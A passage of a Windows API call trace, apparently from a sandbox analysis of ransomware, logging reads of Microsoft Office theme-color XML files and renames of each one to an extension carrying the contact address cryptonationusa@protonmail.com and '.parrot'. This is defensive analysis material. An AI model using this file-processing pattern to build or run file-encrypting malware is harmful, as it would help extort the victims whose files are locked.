nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.802] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3bf, lpOverlapped=0x0) returned 1 [0158.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.806] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.806] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.808] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.811] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.812] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.813] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.814] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39e, lpOverlapped=0x0) returned 1 [0158.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.814] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.817] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.819] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.819] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.819] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.823] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.823] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.824] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.824] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.824] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.828] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.828] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.830] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.830] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.830] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.834] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.834] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.835] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.836] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.841] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.841] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.842] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.843] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.843] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.846] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.846] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.884] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.885] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.885] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.906] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.906] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.909] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.909] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.910] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.915] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.915] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.917] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.918] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.918] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.922] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.922] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.923] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.923] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c6, lpOverlapped=0x0) returned 1 [0158.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.924] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.927] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.927] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.929] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.929] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.929] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.932] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.933] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.935] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.935] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c5, lpOverlapped=0x0) returned 1 [0158.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.935] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.939] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.939] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.940] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.940] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c3, lpOverlapped=0x0) returned 1 [0158.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.941] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.964] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.964] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, 